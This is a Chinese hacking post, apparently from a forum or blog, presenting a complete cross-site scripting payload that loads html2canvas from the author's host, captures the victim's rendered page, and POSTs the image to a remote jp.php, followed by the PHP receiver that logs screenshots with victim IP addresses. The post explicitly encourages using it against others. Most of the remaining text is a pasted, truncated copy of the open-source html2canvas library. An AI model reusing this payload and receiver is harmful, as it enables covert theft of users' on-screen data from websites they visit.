2个月前，长短短（Sogili）在群里发了一个html2canvas.js 并给了一个POC
我写了一个完整的js来获得对方的屏幕截图
看代码
document.write("<script src=\"http:\/\/xj.hk\/html2canvas.js\"><\/script>"); <br>//调用截屏核心功能js,下载地址:http://xj.hk/html2canvas.js
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收，由于代码非常的长，只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xj.hk/jp.php"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
如上图1，我把这个加入到了xssme平台里面（配置如上图），可以作为一个模块使用
当然，你也可以直接把这个保存为1.js，去x别人
下面就说接收端了，很简单，上面的js，把数据发送给了
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1
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http://xj.hk/jp.php |
我们就做一个jp.php
代码如下
<?php
$screenshot=$_POST['screenshot'];
$fp=fopen("xss.txt", "at");
fputs($fp, "TIME: ".date("Y/m/d H:i:s")." IP: ".$_SERVER['REMOTE_ADDR']." image : ".$screenshot." \n");
fclose($fp);
?>
我们看下x到的结果
看到了 很长很长的一段data
我们把这个data复制，并放入火狐的url中去访问，就能看到被x的人的屏幕截图咯
=============================================
给一个poc，poc是完全ok的，大家自己弄弄
| 1 个附件 | 售价 | 大小 | 下载 | 时间 | |
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 html5截屏.zip |
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http://xj.hk/html2canvas.js
/*
html2canvas 0.4.0 <http://html2canvas.hertzen.com>
Copyright (c) 2013 Niklas von Hertzen (@niklasvh)
Released under MIT License
*/
(function(window, document, undefined){
"use strict";
var _html2canvas = {},
previousElement,
computedCSS,
html2canvas;
function h2clog(a) {
if (_html2canvas.logging && window.console && window.console.log) {
window.console.log(a);
}
}
_html2canvas.Util = {};
_html2canvas.Util.trimText = (function(isNative){
return function(input){
if(isNative) { return isNative.apply( input ); }
else { return ((input || '') + '').replace( /^\s+|\s+$/g , '' ); }
};
})( String.prototype.trim );
_html2canvas.Util.parseBackgroundImage = function (value) {
var whitespace = ' \r\n\t',
method, definition, prefix, prefix_i, block, results = [],
c, mode = 0, numParen = 0, quote, args;
var appendResult = function(){
if(method) {
if(definition.substr( 0, 1 ) === '"') {
definition = definition.substr( 1, definition.length - 2 );
}
if(definition) {
args.push(definition);
}
if(method.substr( 0, 1 ) === '-' &&
(prefix_i = method.indexOf( '-', 1 ) + 1) > 0) {
prefix = method.substr( 0, prefix_i);
method = method.substr( prefix_i );
}
results.push({
prefix: prefix,
method: method.toLowerCase(),
value: block,
args: args
});
}
args = []; //for some odd reason, setting .length = 0 didn't work in safari
method =
prefix =
definition =
block = '';
};
appendResult();
for(var i = 0, ii = value.length; i<ii; i++) {
c = value[i];
if(mode === 0 && whitespace.indexOf( c ) > -1){
continue;
}
switch(c) {
case '"':
if(!quote) {
quote = c;
}
else if(quote === c) {
quote = null;
}
break;
case '(':
if(quote) { break; }
else if(mode === 0) {
mode = 1;
block += c;
continue;
} else {
numParen++;
}
break;
case ')':
if(quote) { break; }
else if(mode === 1) {
if(numParen === 0) {
mode = 0;
block += c;
appendResult();
continue;
} else {
numParen--;
}
}
break;
case ',':
if(quote) { break; }
else if(mode === 0) {
appendResult();
continue;
}
else if (mode === 1) {
if(numParen === 0 && !method.match(/^url$/i)) {
args.push(definition);
definition = '';
block += c;
continue;
}
}
break;
}
block += c;
if(mode === 0) { method += c; }
else { definition += c; }
}
appendResult();
return results;
};
_html2canvas.Util.Bounds = function getBounds (el) {
var clientRect,
bounds = {};
if (el.getBoundingClientRect){
clientRect = el.getBoundingClientRect();
// TODO add scroll position to bounds, so no scrolling of window necessary
bounds.top = clientRect.top;
bounds.bottom = clientRect.bottom || (clientRect.top + clientRect.height);
bounds.left = clientRect.left;
// older IE doesn't have width/height, but top/bottom instead
bounds.width = clientRect.width || (clientRect.right - clientRect.left);
bounds.height = clientRect.height || (clientRect.bottom - clientRect.top);
return bounds;
}
};
_html2canvas.Util.getCSS = function (el, attribute, index) {
// return $(el).css(attribute);
var val,
isBackgroundSizePosition = attribute.match( /^background(Size|Position)$/ );
function toPX( attribute, val ) {
var rsLeft = el.runtimeStyle && el.runtimeStyle[ attribute ],
left,
style = el.style;
// Check if we are not dealing with pixels, (Opera has issues with this)
// Ported from jQuery css.js
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels
if ( !/^-?[0-9]+\.?[0-9]*(?:px)?$/i.test( val ) && /^-?\d/.test( val ) ) {
// Remember the original values
left = style.left;
// Put in the new values to get a computed value out
if ( rsLeft ) {
el.runtimeStyle.left = el.currentStyle.left;
}
style.left = attribute === "fontSize" ? "1em" : (val || 0);
val = style.pixelLeft + "px";
// Revert the changed values
style.left = left;
if ( rsLeft ) {
el.runtimeStyle.left = rsLeft;
}
}
if (!/^(thin|medium|thick)$/i.test( val )) {
return Math.round(parseFloat( val )) + "px";
}
return val;
}
if (previousElement !== el) {
computedCSS = document.defaultView.getComputedStyle(el, null);
}
val = computedCSS[attribute];
if (isBackgroundSizePosition) {
val = (val || '').split( ',' );
val = val[index || 0] || val[0] || 'auto';
val = _html2canvas.Util.trimText(val).split(' ');
if(attribute === 'backgroundSize' && (!val[ 0 ] || val[ 0 ].match( /cover|contain|auto/ ))) {
//these values will be handled in the parent function
} else {
val[ 0 ] = ( val[ 0 ].indexOf( "%" ) === -1 ) ? toPX( attribute + "X", val[ 0 ] ) : val[ 0 ];
if(val[ 1 ] === undefined) {
if(attribute === 'backgroundSize') {
val[ 1 ] = 'auto';
return val;
}
else {
// IE 9 doesn't return double digit always
val[ 1 ] = val[ 0 ];
}
}
val[ 1 ] = ( val[ 1 ].indexOf( "%" ) === -1 ) ? toPX( attribute + "Y", val[ 1 ] ) : val[ 1 ];
}
} else if ( /border(Top|Bottom)(Left|Right)Radius/.test( attribute) ) {
var arr = val.split(" ");
if ( arr.length <= 1 ) {
arr[ 1 ] = arr[ 0 ];
}
arr[ 0 ] = parseInt( arr[ 0 ], 10 );
arr[ 1 ] = parseInt( arr[ 1 ], 10 );
val = arr;
}
return val;
};
_html2canvas.Util.resizeBounds = function( current_width, current_height, target_width, target_height, stretch_mode ){
var target_ratio = target_width / target_height,
current_ratio = current_width / current_height,
output_width, output_height;
if(!stretch_mode || stretch_mode === 'auto') {
output_width = target_width;
output_height = target_height;
} else {
if(target_ratio < current_ratio ^ stretch_mode === 'contain') {
output_height = target_height;
output_width = target_height * current_ratio;
} else {
output_width = target_width;
output_height = target_width / current_ratio;
}
}
return { width: output_width, height: output_height };
};
function backgroundBoundsFactory( prop, el, bounds, image, imageIndex, backgroundSize ) {
var bgposition = _html2canvas.Util.getCSS( el, prop, imageIndex ) ,
topPos,
left,
percentage,
val;
if (bgposition.length === 1){
val = bgposition[0];
bgposition = [];
bgposition[0] = val;
bgposition[1] = val;
}
if (bgposition[0].toString().indexOf("%") !== -1){
percentage = (parseFloat(bgposition[0])/100);
left = bounds.width * percentage;
if(prop !== 'backgroundSize') {
left -= (backgroundSize || image).width*percentage;
}
} else {
if(prop === 'backgroundSize') {
if(bgposition[0] === 'auto') {
left = image.width;
} else {
if(bgposition[0].match(/contain|cover/)) {
var resized = _html2canvas.Util.resizeBounds( image.width, image.height, bounds.width, bounds.height, bgposition[0] );
left = resized.width;
topPos = resized.height;
} else {
left = parseInt (bgposition[0], 10 );
}
}
} else {
left = parseInt( bgposition[0], 10 );
}
}
if(bgposition[1] === 'auto') {
topPos = left / image.width * image.height;
} else if (bgposition[1].toString().indexOf("%") !== -1){
percentage = (parseFloat(bgposition[1])/100);
topPos = bounds.height * percentage;
if(prop !== 'backgroundSize') {
topPos -= (backgroundSize || image).height * percentage;
}
} else {
topPos = parseInt(bgposition[1],10);
}
return [left, topPos];
}
_html2canvas.Util.BackgroundPosition = function( el, bounds, image, imageIndex, backgroundSize ) {
var result = backgroundBoundsFactory( 'backgroundPosition', el, bounds, image, imageIndex, backgroundSize );
return { left: result[0], top: result[1] };
};
_html2canvas.Util.BackgroundSize = function( el, bounds, image, imageIndex ) {
var result = backgroundBoundsFactory( 'backgroundSize', el, bounds, image, imageIndex );
return { width: result[0], height: result[1] };
};
_html2canvas.Util.Extend = function (options, defaults) {
for (var key in options) {
if (options.hasOwnProperty(key)) {
defaults[key] = options[key];
}
}
return defaults;
};
/*
* Derived from jQuery.contents()
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*/
_html2canvas.Util.Children = function( elem ) {
var children;
try {
children = (elem.nodeName && elem.nodeName.toUpperCase() === "IFRAME") ?
elem.contentDocument || elem.contentWindow.document : (function( array ){
var ret = [];
if ( array !== null ) {
(function( first, second ) {
var i = first.length,
j = 0;
if ( typeof second.length === "number" ) {
for ( var l = second.length; j < l; j++ ) {
first[ i++ ] = second[ j ];
}
} else {
while ( second[j] !== undefined ) {
first[ i++ ] = second[ j++ ];
}
}
first.length = i;
return first;
})( ret, array );
}
return ret;
})( elem.childNodes );
} catch (ex) {
h2clog("html2canvas.Util.Children failed with exception: " + ex.message);
children = [];
}
return children;
};
_html2canvas.Util.Font = (function () {
var fontData = {};
return function(font, fontSize, doc) {
if (fontData[font + "-" + fontSize] !== undefined) {
return fontData[font + "-" + fontSize];
}
var container = doc.createElement('div'),
img = doc.createElement('img'),
span = doc.createElement('span'),
sampleText = 'Hidden Text',
baseline,
middle,
metricsObj;
container.style.visibility = "hidden";
container.style.fontFamily = font;
container.style.fontSize = fontSize;
container.style.margin = 0;
container.style.padding = 0;
doc.body.appendChild(container);
// http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever (handtinywhite.gif)
img.src = "data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=";
img.width = 1;
img.height = 1;
img.style.margin = 0;
img.style.padding = 0;
img.style.verticalAlign = "baseline";
span.style.fontFamily = font;
span.style.fontSize = fontSize;
span.style.margin = 0;
span.style.padding = 0;
span.appendChild(doc.createTextNode(sampleText));
container.appendChild(span);
container.appendChild(img);
baseline = (img.offsetTop - span.offsetTop) + 1;
container.removeChild(span);
container.appendChild(doc.createTextNode(sampleText));
container.style.lineHeight = "normal";
img.style.verticalAlign = "super";
middle = (img.offsetTop-container.offsetTop) + 1;
metricsObj = {
baseline: baseline,
lineWidth: 1,
middle: middle
};
fontData[font + "-" + fontSize] = metricsObj;
doc.body.removeChild(container);
return metricsObj;
};
})();
(function(){
_html2canvas.Generate = {};
var reGradients = [
/^(-webkit-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,
/^(-o-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,
/^(-webkit-gradient)\((linear|radial),\s((?:\d{1,3}%?)\s(?:\d{1,3}%?),\s(?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)\-]+)\)$/,
/^(-moz-linear-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)]+)\)$/,
/^(-webkit-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z\-]+)([\w\d\.\s,%\(\)]+)\)$/,
/^(-moz-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s?([a-z\-]*)([\w\d\.\s,%\(\)]+)\)$/,
/^(-o-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z\-]+)([\w\d\.\s,%\(\)]+)\)$/
];
/*
* TODO: Add IE10 vendor prefix (-ms) support
* TODO: Add W3C gradient (linear-gradient) support
* TODO: Add old Webkit -webkit-gradient(radial, ...) support
* TODO: Maybe some RegExp optimizations are possible ;o)
*/
_html2canvas.Generate.parseGradient = function(css, bounds) {
var gradient, i, len = reGradients.length, m1, stop, m2, m2Len, step, m3, tl,tr,br,bl;
for(i = 0; i < len; i+=1){
m1 = css.match(reGradients[i]);
if(m1) {
break;
}
}
if(m1) {
switch(m1[1]) {
case '-webkit-linear-gradient':
case '-o-linear-gradient':
gradient = {
type: 'linear',
x0: null,
y0: null,
x1: null,
y1: null,
colorStops: []
};
// get coordinates
m2 = m1[2].match(/\w+/g);
if(m2){
m2Len = m2.length;
for(i = 0; i < m2Len; i+=1){
switch(m2[i]) {
case 'top':
gradient.y0 = 0;
gradient.y1 = bounds.height;
break;
case 'right':
gradient.x0 = bounds.width;
gradient.x1 = 0;
break;
case 'bottom':
gradient.y0 = bounds.height;
gradient.y1 = 0;
break;
case 'left':
gradient.x0 = 0;
gradient.x1 = bounds.width;
break;
}
}
}
if(gradient.x0 === null && gradient.x1 === null){ // center
gradient.x0 = gradient.x1 = bounds.width / 2;
}
if(gradient.y0 === null && gradient.y1 === null){ // center
gradient.y0 = gradient.y1 = bounds.height / 2;
}
// get colors and stops
m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);
if(m2){
m2Len = m2.length;
step = 1 / Math.max(m2Len - 1, 1);
for(i = 0; i < m2Len; i+=1){
m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);
if(m3[2]){
stop = parseFloat(m3[2]);
if(m3[3] === '%'){
stop /= 100;
} else { // px - stupid opera
stop /= bounds.width;
}
} else {
stop = i * step;
}
gradient.colorStops.push({
color: m3[1],
stop: stop
});
}
}
break;
case '-webkit-gradient':
gradient = {
type: m1[2] === 'radial' ? 'circle' : m1[2], // TODO: Add radial gradient support for older mozilla definitions
x0: 0,
y0: 0,
x1: 0,
y1: 0,
colorStops: []
};
// get coordinates
m2 = m1[3].match(/(\d{1,3})%?\s(\d{1,3})%?,\s(\d{1,3})%?\s(\d{1,3})%?/);
if(m2){
gradient.x0 = (m2[1] * bounds.width) / 100;
gradient.y0 = (m2[2] * bounds.height) / 100;
gradient.x1 = (m2[3] * bounds.width) / 100;
gradient.y1 = (m2[4] * bounds.height) / 100;
}
// get colors and stops
m2 = m1[4].match(/((?:from|to|color-stop)\((?:[0-9\.]+,\s)?(?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)\))+/g);
if(m2){
m2Len = m2.length;
for(i = 0; i < m2Len; i+=1){
m3 = m2[i].match(/(from|to|color-stop)\(([0-9\.]+)?(?:,\s)?((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\)/);
stop = parseFloat(m3[2]);
if(m3[1] === 'from') {
stop = 0.0;
}
if(m3[1] === 'to') {
stop = 1.0;
}
gradient.colorStops.push({
color: m3[3],
stop: stop
});
}
}
break;
case '-moz-linear-gradient':
gradient = {
type: 'linear',
x0: 0,
y0: 0,
x1: 0,
y1: 0,
colorStops: []
};
// get coordinates
m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);
// m2[1] == 0% -> left
// m2[1] == 50% -> center
// m2[1] == 100% -> right
// m2[2] == 0% -> top
// m2[2] == 50% -> center
// m2[2] == 100% -> bottom
if(m2){
gradient.x0 = (m2[1] * bounds.width) / 100;
gradient.y0 = (m2[2] * bounds.height) / 100;
gradient.x1 = bounds.width - gradient.x0;
gradient.y1 = bounds.height - gradient.y0;
}
// get colors and stops
m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}%)?)+/g);
if(m2){
m2Len = m2.length;
step = 1 / Math.max(m2Len - 1, 1);
for(i = 0; i < m2Len; i+=1){
m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%)?/);
if(m3[2]){
stop = parseFloat(m3[2]);
if(m3[3]){ // percentage
stop /= 100;
}
} else {
stop = i * step;
}
gradient.colorStops.push({
color: m3[1],
stop: stop
});
}
}
break;
case '-webkit-radial-gradient':
case '-moz-radial-gradient':
case '-o-radial-gradient':
gradient = {
type: 'circle',
x0: 0,
y0: 0,
x1: bounds.width,
y1: bounds.height,
cx: 0,
cy: 0,
rx: 0,
ry: 0,
colorStops: []
};
// center
m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);
if(m2){
gradient.cx = (m2[1] * bounds.width) / 100;
gradient.cy = (m2[2] * bounds.height) / 100;
}
// size
m2 = m1[3].match(/\w+/);
m3 = m1[4].match(/[a-z\-]*/);
if(m2 && m3){
switch(m3[0]){
case 'farthest-corner':
case 'cover': // is equivalent to farthest-corner
case '': // mozilla removes "cover" from definition 🙁
tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2));
tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2));
gradient.rx = gradient.ry = Math.max(tl, tr, br, bl);
break;
case 'closest-corner':
tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2));
tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2));
gradient.rx = gradient.ry = Math.min(tl, tr, br, bl);
break;
case 'farthest-side':
if(m2[0] === 'circle'){
gradient.rx = gradient.ry = Math.max(
gradient.cx,
gradient.cy,
gradient.x1 - gradient.cx,
gradient.y1 - gradient.cy
);
} else { // ellipse
gradient.type = m2[0];
gradient.rx = Math.max(
gradient.cx,
gradient.x1 - gradient.cx
);
gradient.ry = Math.max(
gradient.cy,
gradient.y1 - gradient.cy
);
}
break;
case 'closest-side':
case 'contain': // is equivalent to closest-side
if(m2[0] === 'circle'){
gradient.rx = gradient.ry = Math.min(
gradient.cx,
gradient.cy,
gradient.x1 - gradient.cx,
gradient.y1 - gradient.cy
);
} else { // ellipse
gradient.type = m2[0];
gradient.rx = Math.min(
gradient.cx,
gradient.x1 - gradient.cx
);
gradient.ry = Math.min(
gradient.cy,
gradient.y1 - gradient.cy
);
}
break;
// TODO: add support for "30px 40px" sizes (webkit only)
}
}
// color stops
m2 = m1[5].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);
if(m2){
m2Len = m2.length;
step = 1 / Math.max(m2Len - 1, 1);
for(i = 0; i < m2Len; i+=1){
m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);
if(m3[2]){
stop = parseFloat(m3[2]);
if(m3[3] === '%'){
stop /= 100;
} else { // px - stupid opera
stop /= bounds.width;
}
} else {
stop = i * step;
}
gradient.colorStops.push({
color: m3[1],
stop: stop
});
}
}
break;
}
}
return gradient;
};
_html2canvas.Generate.Gradient = function(src, bounds) {
if(bounds.width === 0 || bounds.height === 0) {
return;
}
var canvas = document.createElement('canvas'),
ctx = canvas.getContext('2d'),
gradient, grad, i, len;
canvas.width = bounds.width;
canvas.height = bounds.height;
// TODO: add support for multi defined background gradients
gradient = _html2canvas.Generate.parseGradient(src, bounds);
if(gradient) {
if(gradient.type === 'linear') {
grad = ctx.createLinearGradient(gradient.x0, gradient.y0, gradient.x1, gradient.y1);
for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
try {
grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
}
catch(e) {
h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
}
}
ctx.fillStyle = grad;
ctx.fillRect(0, 0, bounds.width, bounds.height);
} else if(gradient.type === 'circle') {
grad = ctx.createRadialGradient(gradient.cx, gradient.cy, 0, gradient.cx, gradient.cy, gradient.rx);
for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
try {
grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
}
catch(e) {
h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
}
}
ctx.fillStyle = grad;
ctx.fillRect(0, 0, bounds.width, bounds.height);
} else if(gradient.type === 'ellipse') {
// draw circle
var canvasRadial = document.createElement('canvas'),
ctxRadial = canvasRadial.getContext('2d'),
ri = Math.max(gradient.rx, gradient.ry),
di = ri * 2, imgRadial;
canvasRadial.width = canvasRadial.height = di;
grad = ctxRadial.createRadialGradient(gradient.rx, gradient.ry, 0, gradient.rx, gradient.ry, ri);
for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
try {
grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
}
catch(e) {
h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
}
}
ctxRadial.fillStyle = grad;
ctxRadial.fillRect(0, 0, di, di);
ctx.fillStyle = gradient.colorStops[i - 1].color;
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.drawImage(canvasRadial, gradient.cx - gradient.rx, gradient.cy - gradient.ry, 2 * gradient.rx, 2 * gradient.ry);
}
}
return canvas;
};
_html2canvas.Generate.ListAlpha = function(number) {
var tmp = "",
modulus;
do {
modulus = number % 26;
tmp = String.fromCharCode((modulus) + 64) + tmp;
number = number / 26;
}while((number*26) > 26);
return tmp;
};
_html2canvas.Generate.ListRoman = function(number) {
var romanArray = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"],
decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1],
roman = "",
v,
len = romanArray.length;
if (number <= 0 || number >= 4000) {
return number;
}
for (v=0; v < len; v+=1) {
while (number >= decimal[v]) {
number -= decimal[v];
roman += romanArray[v];
}
}
return roman;
};
})();
function h2cRenderContext(width, height) {
var storage = [];
return {
storage: storage,
width: width,
height: height,
clip: function() {
storage.push({
type: "function",
name: "clip",
'arguments': arguments
});
},
translate: function() {
storage.push({
type: "function",
name: "translate",
'arguments': arguments
});
},
fill: function() {
storage.push({
type: "function",
name: "fill",
'arguments': arguments
});
},
save: function() {
storage.push({
type: "function",
name: "save",
'arguments': arguments
});
},
restore: function() {
storage.push({
type: "function",
name: "restore",
'arguments': arguments
});
},
fillRect: function () {
storage.push({
type: "function",
name: "fillRect",
'arguments': arguments
});
},
createPattern: function() {
storage.push({
type: "function",
name: "createPattern",
'arguments': arguments
});
},
drawShape: function() {
var shape = [];
storage.push({
type: "function",
name: "drawShape",
'arguments': shape
});
return {
moveTo: function() {
shape.push({
name: "moveTo",
'arguments': arguments
});
},
lineTo: function() {
shape.push({
name: "lineTo",
'arguments': arguments
});
},
arcTo: function() {
shape.push({
name: "arcTo",
'arguments': arguments
});
},
bezierCurveTo: function() {
shape.push({
name: "bezierCurveTo",
'arguments': arguments
});
},
quadraticCurveTo: function() {
shape.push({
name: "quadraticCurveTo",
'arguments': arguments
});
}
};
},
drawImage: function () {
storage.push({
type: "function",
name: "drawImage",
'arguments': arguments
});
},
fillText: function () {
storage.push({
type: "function",
name: "fillText",
'arguments': arguments
});
},
setVariable: function (variable, value) {
storage.push({
type: "variable",
name: variable,
'arguments': value
});
}
};
}
_html2canvas.Parse = function (images, options) {
window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
doc = element.ownerDocument,
support = _html2canvas.Util.Support(options, doc),
ignoreElementsRegExp = new RegExp("(" + options.ignoreElements + ")"),
body = doc.body,
getCSS = _html2canvas.Util.getCSS,
pseudoHide = "___html2canvas___pseudoelement",
hidePseudoElements = doc.createElement('style');
hidePseudoElements.innerHTML = '.' + pseudoHide + '-before:before { content: "" !important; display: none !important; }' +
'.' + pseudoHide + '-after:after { content: "" !important; display: none !important; }';
body.appendChild(hidePseudoElements);
images = images || {};
function documentWidth () {
return Math.max(
Math.max(doc.body.scrollWidth, doc.documentElement.scrollWidth),
Math.max(doc.body.offsetWidth, doc.documentElement.offsetWidth),
Math.max(doc.body.clientWidth, doc.documentElement.clientWidth)
);
}
function documentHeight () {
return Math.max(
Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight),
Math.max(doc.body.offsetHeight, doc.documentElement.offsetHeight),
Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)
);
}
function getCSSInt(element, attribute) {
var val = parseInt(getCSS(element, attribute), 10);
return (isNaN(val)) ? 0 : val; // borders in old IE are throwing 'medium' for demo.html
}
function renderRect (ctx, x, y, w, h, bgcolor) {
if (bgcolor !== "transparent"){
ctx.setVariable("fillStyle", bgcolor);
ctx.fillRect(x, y, w, h);
numDraws+=1;
}
}
function textTransform (text, transform) {
switch(transform){
case "lowercase":
return text.toLowerCase();
case "capitalize":
return text.replace( /(^|\s|:|-|\(|\))([a-z])/g , function (m, p1, p2) {
if (m.length > 0) {
return p1 + p2.toUpperCase();
}
} );
case "uppercase":
return text.toUpperCase();
default:
return text;
}
}
function noLetterSpacing(letter_spacing) {
return (/^(normal|none|0px)$/.test(letter_spacing));
}
function drawText(currentText, x, y, ctx){
if (currentText !== null && _html2canvas.Util.trimText(currentText).length > 0) {
ctx.fillText(currentText, x, y);
numDraws+=1;
}
}
function setTextVariables(ctx, el, text_decoration, color) {
var align = false,
bold = getCSS(el, "fontWeight"),
family = getCSS(el, "fontFamily"),
size = getCSS(el, "fontSize");
switch(parseInt(bold, 10)){
case 401:
bold = "bold";
break;
case 400:
bold = "normal";
break;
}
ctx.setVariable("fillStyle", color);
ctx.setVariable("font", [getCSS(el, "fontStyle"), getCSS(el, "fontVariant"), bold, size, family].join(" "));
ctx.setVariable("textAlign", (align) ? "right" : "left");
if (text_decoration !== "none"){
return _html2canvas.Util.Font(family, size, doc);
}
}
function renderTextDecoration(ctx, text_decoration, bounds, metrics, color) {
switch(text_decoration) {
case "underline":
// Draws a line at the baseline of the font
// TODO As some browsers display the line as more than 1px if the font-size is big, need to take that into account both in position and size
renderRect(ctx, bounds.left, Math.round(bounds.top + metrics.baseline + metrics.lineWidth), bounds.width, 1, color);
break;
case "overline":
renderRect(ctx, bounds.left, Math.round(bounds.top), bounds.width, 1, color);
break;
case "line-through":
// TODO try and find exact position for line-through
renderRect(ctx, bounds.left, Math.ceil(bounds.top + metrics.middle + metrics.lineWidth), bounds.width, 1, color);
break;
}
}
function getTextBounds(state, text, textDecoration, isLast) {
var bounds;
if (support.rangeBounds) {
if (textDecoration !== "none" || _html2canvas.Util.trimText(text).length !== 0) {
bounds = textRangeBounds(text, state.node, state.textOffset);
}
state.textOffset += text.length;
} else if (state.node && typeof state.node.nodeValue === "string" ){
var newTextNode = (isLast) ? state.node.splitText(text.length) : null;
bounds = textWrapperBounds(state.node);
state.node = newTextNode;
}
return bounds;
}
function textRangeBounds(text, textNode, textOffset) {
var range = doc.createRange();
range.setStart(textNode, textOffset);
range.setEnd(textNode, textOffset + text.length);
return range.getBoundingClientRect();
}
function textWrapperBounds(oldTextNode) {
var parent = oldTextNode.parentNode,
wrapElement = doc.createElement('wrapper'),
backupText = oldTextNode.cloneNode(true);
wrapElement.appendChild(oldTextNode.cloneNode(true));
parent.replaceChild(wrapElement, oldTextNode);
var bounds = _html2canvas.Util.Bounds(wrapElement);
parent.replaceChild(backupText, wrapElement);
return bounds;
}
function renderText(el, textNode, stack) {
var ctx = stack.ctx,
color = getCSS(el, "color"),
textDecoration = getCSS(el, "textDecoration"),
textAlign = getCSS(el, "textAlign"),
metrics,
textList,
state = {
node: textNode,
textOffset: 0
};
if (_html2canvas.Util.trimText(textNode.nodeValue).length > 0) {
textNode.nodeValue = textTransform(textNode.nodeValue, getCSS(el, "textTransform"));
textAlign = textAlign.replace(["-webkit-auto"],["auto"]);
textList = (!options.letterRendering && /^(left|right|justify|auto)$/.test(textAlign) && noLetterSpacing(getCSS(el, "letterSpacing"))) ?
textNode.nodeValue.split(/(\b| )/)
: textNode.nodeValue.split("");
metrics = setTextVariables(ctx, el, textDecoration, color);
if (options.chinese) {
textList.forEach(function(word, index) {
if (/.*[\u4E00-\u9FA5].*$/.test(word)) {
word = word.split("");
word.unshift(index, 1);
textList.splice.apply(textList, word);
}
});
}
textList.forEach(function(text, index) {
var bounds = getTextBounds(state, text, textDecoration, (index < textList.length - 1));
if (bounds) {
drawText(text, bounds.left, bounds.bottom, ctx);
renderTextDecoration(ctx, textDecoration, bounds, metrics, color);
}
});
}
}
function listPosition (element, val) {
var boundElement = doc.createElement( "boundelement" ),
originalType,
bounds;
boundElement.style.display = "inline";
originalType = element.style.listStyleType;
element.style.listStyleType = "none";
boundElement.appendChild(doc.createTextNode(val));
element.insertBefore(boundElement, element.firstChild);
